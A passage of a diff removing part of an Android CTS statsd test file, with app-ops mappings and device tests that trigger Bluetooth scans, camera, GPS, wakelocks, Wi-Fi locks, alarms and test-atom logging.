-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_STRUCTURE, 49);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_SCREENSHOT, 50);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_STATE, 51);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ADD_VOICEMAIL, 52);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_SIP, 53);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROCESS_OUTGOING_CALLS, 54);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_FINGERPRINT, 55);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BODY_SENSORS, 56);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CELL_BROADCASTS, 57);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MOCK_LOCATION, 58);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, 59);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, 60);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TURN_SCREEN_ON, 61);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_ACCOUNTS, 62);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_IN_BACKGROUND, 63);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ACCESSIBILITY_VOLUME, 64);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_NUMBERS, 65);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_INSTALL_PACKAGES, 66);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PICTURE_IN_PICTURE, 67);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INSTANT_APP_START_FOREGROUND, 68);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ANSWER_PHONE_CALLS, 69);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_ANY_IN_BACKGROUND, 70);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CHANGE_WIFI_STATE, 71);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_DELETE_PACKAGES, 72);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BIND_ACCESSIBILITY_SERVICE, 73);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCEPT_HANDOVER, 74);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_IPSEC_TUNNELS, 75);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_START_FOREGROUND, 76);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_SCAN, 77);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_BIOMETRIC, 78);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION, 79);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SMS_FINANCIAL_TRANSACTIONS, 80);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_AUDIO, 81);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_AUDIO, 82);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_VIDEO, 83);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, 84);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_IMAGES, 85);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, 86);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LEGACY_STORAGE, 87);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY, 88);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_DEVICE_IDENTIFIERS, 89);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_MEDIA_LOCATION, 90);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_QUERY_ALL_PACKAGES, 91);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_EXTERNAL_STORAGE, 92);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES, 93);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_PLATFORM_VPN, 94);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LOADER_USAGE_STATS, 95);
-        // Op 96 was deprecated/removed
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_100, 100);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_101, 101);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_102, 102);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
-    }
-
-    @Test
-    public void testAudioState() {
-        // TODO: This should surely be getTargetContext(), here and everywhere, but test first.
-        Context context = InstrumentationRegistry.getContext();
-        MediaPlayer mediaPlayer = MediaPlayer.create(context, R.raw.good);
-        mediaPlayer.start();
-        sleep(2_000);
-        mediaPlayer.stop();
-    }
-
-    @Test
-    public void testBleScanOpportunistic() {
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
-        performBleScan(scanSettings, null,false);
-    }
-
-    @Test
-    public void testBleScanUnoptimized() {
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
-        performBleScan(scanSettings, null, false);
-    }
-
-    @Test
-    public void testBleScanResult() {
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
-        ScanFilter.Builder scanFilter = new ScanFilter.Builder();
-        performBleScan(scanSettings, Arrays.asList(scanFilter.build()), true);
-    }
-
-    @Test
-    public void testBleScanInterrupted() throws Exception {
-        performBleAction((bluetoothAdapter, bleScanner) -> {
-            ScanSettings scanSettings = new ScanSettings.Builder()
-                    .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
-            ScanCallback scanCallback = new ScanCallback() {
-                @Override
-                public void onScanResult(int callbackType, ScanResult result) {
-                    Log.v(TAG, "called onScanResult");
-                }
-                @Override
-                public void onScanFailed(int errorCode) {
-                    Log.v(TAG, "called onScanFailed");
-                }
-                @Override
-                public void onBatchScanResults(List<ScanResult> results) {
-                    Log.v(TAG, "called onBatchScanResults");
-                }
-            };
-
-            int uid = Process.myUid();
-            int whatAtomId = 9_999;
-
-            // Change state to State.ON.
-            bleScanner.startScan(null, scanSettings, scanCallback);
-            sleep(500);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            bluetoothAdapter.disable();
-            sleep(500);
-
-            // Trigger State.RESET so that new state is State.OFF.
-            if (!bluetoothAdapter.enable()) {
-                Log.e(TAG, "Could not enable bluetooth to trigger state reset");
-                return;
-            }
-            sleep(2_000); // Wait for Bluetooth to fully turn on.
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-        });
-    }
-
-    private static void writeSliceByBleScanStateChangedAtom(int atomId, int firstUid,
-                                                            boolean field2, boolean field3,
-                                                            boolean field4) {
-        final StatsEvent.Builder builder = StatsEvent.newBuilder()
-                .setAtomId(atomId)
-                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
-                .writeBoolean(field2)
-                .writeBoolean(field3)
-                .writeBoolean(field4)
-                .usePooledBuffer();
-
-        StatsLog.write(builder.build());
-    }
-
-    /**
-     * Set up BluetoothLeScanner and perform the action in the callback.
-     * Restore Bluetooth to original state afterwards.
-     **/
-    private static void performBleAction(BiConsumer<BluetoothAdapter, BluetoothLeScanner> actions) {
-        BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
-        if (bluetoothAdapter == null) {
-            Log.e(TAG, "Device does not support Bluetooth");
-            return;
-        }
-        boolean bluetoothEnabledByTest = false;
-        if (!bluetoothAdapter.isEnabled()) {
-            if (!bluetoothAdapter.enable()) {
-                Log.e(TAG, "Bluetooth is not enabled");
-                return;
-            }
-            sleep(2_000); // Wait for Bluetooth to fully turn on.
-            bluetoothEnabledByTest = true;
-        }
-        BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
-        if (bleScanner == null) {
-            Log.e(TAG, "Cannot access BLE scanner");
-            return;
-        }
-
-        actions.accept(bluetoothAdapter, bleScanner);
-
-        // Restore adapter state
-        if (bluetoothEnabledByTest) {
-            bluetoothAdapter.disable();
-        }
-    }
-
-
-    private static void performBleScan(ScanSettings scanSettings, List<ScanFilter> scanFilters, boolean waitForResult) {
-        performBleAction((bluetoothAdapter, bleScanner) -> {
-            CountDownLatch resultsLatch = new CountDownLatch(1);
-            ScanCallback scanCallback = new ScanCallback() {
-                @Override
-                public void onScanResult(int callbackType, ScanResult result) {
-                    Log.v(TAG, "called onScanResult");
-                    resultsLatch.countDown();
-                }
-                @Override
-                public void onScanFailed(int errorCode) {
-                    Log.v(TAG, "called onScanFailed");
-                }
-                @Override
-                public void onBatchScanResults(List<ScanResult> results) {
-                    Log.v(TAG, "called onBatchScanResults");
-                    resultsLatch.countDown();
-                }
-            };
-
-            bleScanner.startScan(scanFilters, scanSettings, scanCallback);
-            if (waitForResult) {
-                waitForReceiver(InstrumentationRegistry.getContext(), 59_000, resultsLatch, null);
-            } else {
-                sleep(2_000);
-            }
-            bleScanner.stopScan(scanCallback);
-        });
-    }
-
-    @Test
-    public void testCameraState() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        CameraManager cam = context.getSystemService(CameraManager.class);
-        String[] cameraIds = cam.getCameraIdList();
-        if (cameraIds.length == 0) {
-            Log.e(TAG, "No camera found on device");
-            return;
-        }
-
-        CountDownLatch latch = new CountDownLatch(1);
-        final CameraDevice.StateCallback cb = new CameraDevice.StateCallback() {
-            @Override
-            public void onOpened(CameraDevice cd) {
-                Log.i(TAG, "CameraDevice " + cd.getId() + " opened");
-                sleep(2_000);
-                cd.close();
-            }
-            @Override
-            public void onClosed(CameraDevice cd) {
-                latch.countDown();
-                Log.i(TAG, "CameraDevice " + cd.getId() + " closed");
-            }
-            @Override
-            public void onDisconnected(CameraDevice cd) {
-                Log.w(TAG, "CameraDevice  " + cd.getId() + " disconnected");
-            }
-            @Override
-            public void onError(CameraDevice cd, int error) {
-                Log.e(TAG, "CameraDevice " + cd.getId() + "had error " + error);
-            }
-        };
-
-        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
-        handlerThread.start();
-        Looper looper = handlerThread.getLooper();
-        Handler handler = new Handler(looper);
-
-        cam.openCamera(cameraIds[0], cb, handler);
-        waitForReceiver(context, 10_000, latch, null);
-    }
-
-    @Test
-    public void testFlashlight() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        CameraManager cam = context.getSystemService(CameraManager.class);
-        String[] cameraIds = cam.getCameraIdList();
-        boolean foundFlash = false;
-        for (int i = 0; i < cameraIds.length; i++) {
-            String id = cameraIds[i];
-            if(cam.getCameraCharacteristics(id).get(CameraCharacteristics.FLASH_INFO_AVAILABLE)) {
-                cam.setTorchMode(id, true);
-                sleep(500);
-                cam.setTorchMode(id, false);
-                foundFlash = true;
-                break;
-            }
-        }
-        if(!foundFlash) {
-            Log.e(TAG, "No flashlight found on device");
-        }
-    }
-
-    @Test
-    public void testForegroundService() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        // The service goes into foreground and exits shortly
-        Intent intent = new Intent(context, StatsdCtsForegroundService.class);
-        context.startService(intent);
-        sleep(500);
-        context.stopService(intent);
-    }
-
-    @Test
-    public void testForegroundServiceAccessAppOp() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        Intent fgsIntent = new Intent(context, StatsdCtsForegroundService.class);
-        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
-        // No foreground service session
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
-        sleep(500);
-
-        // Foreground service session 1
-        context.startService(fgsIntent);
-        while (!checkIfServiceRunning(context, StatsdCtsForegroundService.class.getName())) {
-            sleep(50);
-        }
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_FINE_LOCATION);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
-        startAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
-        startAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
-        sleep(500);
-        context.stopService(fgsIntent);
-
-        // No foreground service session
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
-        sleep(500);
-
-        // TODO(b/149098800): Start fgs a second time and log OPSTR_CAMERA again
-    }
-
-    @Test
-    public void testAppOps() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
-        String[] opsList = appOpsManager.getOpStrs();
-
-        for (int i = 0; i < opsList.length; i++) {
-            String op = opsList[i];
-            if (TextUtils.isEmpty(op)) {
-                // Operation removed/deprecated
-                continue;
-            }
-            int noteCount = APP_OPS_ENUM_MAP.getOrDefault(op, opsList.length) + 1;
-            for (int j = 0; j < noteCount; j++) {
-                try {
-                    noteAppOp(appOpsManager, opsList[i]);
-                } catch (SecurityException e) {}
-            }
-        }
-    }
-
-    private void noteAppOp(AppOpsManager aom, String opStr) {
-        aom.noteOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
-    }
-
-    private void startAppOp(AppOpsManager aom, String opStr) {
-        aom.startOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
-    }
-
-    /** Check if service is running. */
-    public boolean checkIfServiceRunning(Context context, String serviceName) {
-        ActivityManager manager = context.getSystemService(ActivityManager.class);
-        for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
-            if (serviceName.equals(service.service.getClassName()) && service.foreground) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    @Test
-    public void testGpsScan() {
-        Context context = InstrumentationRegistry.getContext();
-        final LocationManager locManager = context.getSystemService(LocationManager.class);
-        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
-            Log.e(TAG, "GPS provider is not enabled");
-            return;
-        }
-        CountDownLatch latch = new CountDownLatch(1);
-
-        final LocationListener locListener = new LocationListener() {
-            public void onLocationChanged(Location location) {
-                Log.v(TAG, "onLocationChanged: location has been obtained");
-            }
-            public void onProviderDisabled(String provider) {
-                Log.w(TAG, "onProviderDisabled " + provider);
-            }
-            public void onProviderEnabled(String provider) {
-                Log.w(TAG, "onProviderEnabled " + provider);
-            }
-            public void onStatusChanged(String provider, int status, Bundle extras) {
-                Log.w(TAG, "onStatusChanged " + provider + " " + status);
-            }
-        };
-
-        new AsyncTask<Void, Void, Void>() {
-            @Override
-            protected Void doInBackground(Void... params) {
-                Looper.prepare();
-                locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 990, 0,
-                        locListener);
-                sleep(1_000);
-                locManager.removeUpdates(locListener);
-                latch.countDown();
-                return null;
-            }
-        }.execute();
-
-        waitForReceiver(context, 59_000, latch, null);
-    }
-
-    @Test
-    public void testGpsStatus() {
-        Context context = InstrumentationRegistry.getContext();
-        final LocationManager locManager = context.getSystemService(LocationManager.class);
-
-        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
-            Log.e(TAG, "GPS provider is not enabled");
-            return;
-        }
-
-        // Time out set to 85 seconds (5 seconds for sleep and a possible 85 seconds if TTFF takes
-        // max time which would be around 90 seconds.
-        // This is based on similar location cts test timeout values.
-        final int TIMEOUT_IN_MSEC = 85_000;
-        final int SLEEP_TIME_IN_MSEC = 5_000;
-
-        final CountDownLatch mLatchNetwork = new CountDownLatch(1);
-
-        final LocationListener locListener = location -> {
-            Log.v(TAG, "onLocationChanged: location has been obtained");
-            mLatchNetwork.countDown();
-        };
-
-        // fetch the networklocation first to make sure the ttff is not flaky
-        if (locManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
-            Log.i(TAG, "Request Network Location updates.");
-            locManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
-                    0 /* minTime*/,
-                    0 /* minDistance */,
-                    locListener,
-                    Looper.getMainLooper());
-        }
-        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchNetwork, null);
-
-        // TTFF could take up to 90 seconds, thus we need to wait till TTFF does occur if it does
-        // not occur in the first SLEEP_TIME_IN_MSEC
-        final CountDownLatch mLatchTtff = new CountDownLatch(1);
-
-        GnssStatus.Callback gnssStatusCallback = new GnssStatus.Callback() {
-            @Override
-            public void onStarted() {
-                Log.v(TAG, "Gnss Status Listener Started");
-            }
-
-            @Override
-            public void onStopped() {
-                Log.v(TAG, "Gnss Status Listener Stopped");
-            }
-
-            @Override
-            public void onFirstFix(int ttffMillis) {
-                Log.v(TAG, "Gnss Status Listener Received TTFF");
-                mLatchTtff.countDown();
-            }
-
-            @Override
-            public void onSatelliteStatusChanged(GnssStatus status) {
-                Log.v(TAG, "Gnss Status Listener Received Status Update");
-            }
-        };
-
-        boolean gnssStatusCallbackAdded = locManager.registerGnssStatusCallback(
-                gnssStatusCallback, new Handler(Looper.getMainLooper()));
-        if (!gnssStatusCallbackAdded) {
-            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
-            Log.e(TAG, "Failed to start gnss status callback");
-        }
-
-        locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
-                0,
-                0 /* minDistance */,
-                locListener,
-                Looper.getMainLooper());
-        sleep(SLEEP_TIME_IN_MSEC);
-        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchTtff, null);
-        locManager.removeUpdates(locListener);
-        locManager.unregisterGnssStatusCallback(gnssStatusCallback);
-    }
-
-    @Test
-    public void testScreenBrightness() {
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK |
-                PowerManager.ACQUIRE_CAUSES_WAKEUP, "StatsdBrightnessTest");
-        wl.acquire();
-        sleep(500);
-
-        setScreenBrightness(47);
-        sleep(500);
-        setScreenBrightness(100);
-        sleep(500);
-        setScreenBrightness(198);
-        sleep(500);
-
-
-        wl.release();
-    }
-
-    @Test
-    public void testSyncState() throws Exception {
-
-        Context context = InstrumentationRegistry.getContext();
-        StatsdAuthenticator.removeAllAccounts(context);
-        AccountManager am = context.getSystemService(AccountManager.class);
-        CountDownLatch latch = StatsdSyncAdapter.resetCountDownLatch();
-
-        Account account = StatsdAuthenticator.getTestAccount();
-        StatsdAuthenticator.ensureTestAccount(context);
-        sleep(500);
-
-        // Just force set is syncable.
-        ContentResolver.setMasterSyncAutomatically(true);
-        sleep(500);
-        ContentResolver.setIsSyncable(account, StatsdProvider.AUTHORITY, 1);
-        // Wait for the first (automatic) sync to finish
-        waitForReceiver(context, 120_000, latch, null);
-
-        //Sleep for 500ms, since we assert each start/stop to be ~500ms apart.
-        sleep(500);
-
-        // Request and wait for the second sync to finish
-        latch = StatsdSyncAdapter.resetCountDownLatch();
-        StatsdSyncAdapter.requestSync(account);
-        waitForReceiver(context, 120_000, latch, null);
-        StatsdAuthenticator.removeAllAccounts(context);
-    }
-
-    @Test
-    public void testScheduledJob() throws Exception {
-        final ComponentName name = new ComponentName(MY_PACKAGE_NAME,
-                StatsdJobService.class.getName());
-
-        Context context = InstrumentationRegistry.getContext();
-        JobScheduler js = context.getSystemService(JobScheduler.class);
-        assertWithMessage("JobScheduler service not available").that(js).isNotNull();
-
-        JobInfo.Builder builder = new JobInfo.Builder(1, name);
-        builder.setOverrideDeadline(0);
-        JobInfo job = builder.build();
-
-        long startTime = System.currentTimeMillis();
-        CountDownLatch latch = StatsdJobService.resetCountDownLatch();
-        js.schedule(job);
-        waitForReceiver(context, 5_000, latch, null);
-    }
-
-    @Test
-    public void testVibratorState() {
-        Context context = InstrumentationRegistry.getContext();
-        Vibrator vib = context.getSystemService(Vibrator.class);
-        if (vib.hasVibrator()) {
-            vib.vibrate(VibrationEffect.createOneShot(
-                    500 /* ms */, VibrationEffect.DEFAULT_AMPLITUDE));
-        }
-    }
-
-    @Test
-    public void testWakelockState() {
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
-                "StatsdPartialWakelock");
-        wl.acquire();
-        sleep(500);
-        wl.release();
-    }
-
-    @Test
-    public void testSliceByWakelockState() {
-        int uid = Process.myUid();
-        int whatAtomId = 9_998;
-        int wakelockType = PowerManager.PARTIAL_WAKE_LOCK;
-        String tag = "StatsdPartialWakelock";
-
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(wakelockType, tag);
-
-        wl.acquire();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        wl.acquire();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        wl.release();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        wl.release();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-    }
-
-    private static void writeSliceByWakelockStateChangedAtom(int atomId, int firstUid,
-                                                            int field2, String field3) {
-        final StatsEvent.Builder builder = StatsEvent.newBuilder()
-                .setAtomId(atomId)
-                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
-                .writeInt(field2)
-                .writeString(field3)
-                .usePooledBuffer();
-
-        StatsLog.write(builder.build());
-    }
-
-
-    @Test
-    public void testWakelockLoad() {
-        final int NUM_THREADS = 16;
-        CountDownLatch latch = new CountDownLatch(NUM_THREADS);
-        for (int i = 0; i < NUM_THREADS; i++) {
-            Thread t = new Thread(new WakelockLoadTestRunnable("StatsdPartialWakelock" + i, latch));
-            t.start();
-        }
-        waitForReceiver(null, 120_000, latch, null);
-    }
-
-    @Test
-    public void testWakeupAlarm() {
-        Context context = InstrumentationRegistry.getContext();
-        String name = "android.cts.statsd.testWakeupAlarm";
-        CountDownLatch onReceiveLatch = new CountDownLatch(1);
-        BroadcastReceiver receiver =
-                registerReceiver(context, onReceiveLatch, new IntentFilter(name));
-        AlarmManager manager = (AlarmManager) (context.getSystemService(AlarmManager.class));
-        PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), 0);
-        manager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
-            SystemClock.elapsedRealtime() + 2_000, pintent);
-        waitForReceiver(context, 10_000, onReceiveLatch, receiver);
-    }
-
-    @Test
-    public void testWifiLockHighPerf() {
-        Context context = InstrumentationRegistry.getContext();
-        WifiManager wm = context.getSystemService(WifiManager.class);
-        WifiManager.WifiLock lock =
-                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "StatsdCTSWifiLock");
-        lock.acquire();
-        sleep(500);
-        lock.release();
-    }
-
-    @Test
-    public void testWifiLockLowLatency() {
-        Context context = InstrumentationRegistry.getContext();
-        WifiManager wm = context.getSystemService(WifiManager.class);
-        WifiManager.WifiLock lock =
-                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_LOW_LATENCY, "StatsdCTSWifiLock");
-        lock.acquire();
-        sleep(500);
-        lock.release();
-    }
-
-    @Test
-    public void testWifiMulticastLock() {
-        Context context = InstrumentationRegistry.getContext();
-        WifiManager wm = context.getSystemService(WifiManager.class);
-        WifiManager.MulticastLock lock = wm.createMulticastLock("StatsdCTSMulticastLock");
-        lock.acquire();
-        sleep(500);
-        lock.release();
-    }
-
-    @Test
-    /** Does two wifi scans. */
-    // TODO: Copied this from BatterystatsValidation but we probably don't need to wait for results.
-    public void testWifiScan() {
-        Context context = InstrumentationRegistry.getContext();
-        IntentFilter intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
-        // Sometimes a scan was already running (from a different uid), so the first scan doesn't
-        // start when requested. Therefore, additionally wait for whatever scan is currently running
-        // to finish, then request a scan again - at least one of these two scans should be
-        // attributed to this app.
-        for (int i = 0; i < 2; i++) {
-            CountDownLatch onReceiveLatch = new CountDownLatch(1);
-            BroadcastReceiver receiver = registerReceiver(context, onReceiveLatch, intentFilter);
-            context.getSystemService(WifiManager.class).startScan();
-            waitForReceiver(context, 60_000, onReceiveLatch, receiver);
-        }
-    }
-
-    @Test
-    public void testSimpleCpu() {
-        long timestamp = System.currentTimeMillis();
-        for (int i = 0; i < 10000; i ++) {
-            timestamp += i;
-        }
-        Log.i(TAG, "The answer is " + timestamp);
-    }
-
-    @Test
-    public void testWriteRawTestAtom() throws Exception {
-        Context context = InstrumentationRegistry.getTargetContext();
-        ApplicationInfo appInfo = context.getPackageManager()
-                .getApplicationInfo(context.getPackageName(), 0);
-        int[] uids = {1234, appInfo.uid};
-        String[] tags = {"tag1", "tag2"};
-        byte[] experimentIds = {8, 1, 8, 2, 8, 3}; // Corresponds to 1, 2, 3.
-        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids, tags, 42,
-                Long.MAX_VALUE, 3.14f, "This is a basic test!", false,
-                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, experimentIds);
-
-        // All nulls. Should get dropped since cts app is not in the attribution chain.
-        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, null, null, 0, 0,
-                0f, null, false, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, null);
-
-        // Null tag in attribution chain.
-        int[] uids2 = {9999, appInfo.uid};
-        String[] tags2 = {"tag9999", null};
-        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids2, tags2, 100,
-                Long.MIN_VALUE, -2.5f, "Test null uid", true,
-                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__UNKNOWN, experimentIds);
-
-        // Non chained non-null
-        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED,
-                appInfo.uid, "tag1", -256, -1234567890L, 42.01f, "Test non chained", true,
-                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, experimentIds);
-
-        // Non chained all null
-        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED, appInfo.uid, null,
-                0, 0, 0f, null, true, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, null);
-
-    }
-
-    /**
-     * Bring up and generate some traffic on cellular data connection.
-     */
-    @Test
-    public void testGenerateMobileTraffic() throws Exception {
-        final Context context = InstrumentationRegistry.getContext();
-        doGenerateNetworkTraffic(context, NetworkCapabilities.TRANSPORT_CELLULAR);
-    }
-
-    // Constants which are locally used by doGenerateNetworkTraffic.
-    private static final int NETWORK_TIMEOUT_MILLIS = 15000;
-    private static final String HTTPS_HOST_URL =
-            "https://connectivitycheck.gstatic.com/generate_204";
-
-    private void doGenerateNetworkTraffic(@NonNull Context context,
-            @NetworkCapabilities.Transport int transport) throws InterruptedException {
-        final ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
-        final NetworkRequest request = new NetworkRequest.Builder().addCapability(
-                NetworkCapabilities.NET_CAPABILITY_INTERNET).addTransportType(transport).build();
-        final CtsNetUtils.TestNetworkCallback callback = new CtsNetUtils.TestNetworkCallback();
-
-        // Request network, and make http query when the network is available.
-        cm.requestNetwork(request, callback);
-
-        // If network is not available, throws IllegalStateException.
-        final Network network = callback.waitForAvailable();
-        if (network == null) {
-            throw new IllegalStateException("network "
-                    + NetworkCapabilities.transportNameOf(transport) + " is not available.");
-        }
-
-        final long startTime = SystemClock.elapsedRealtime();
-        try {
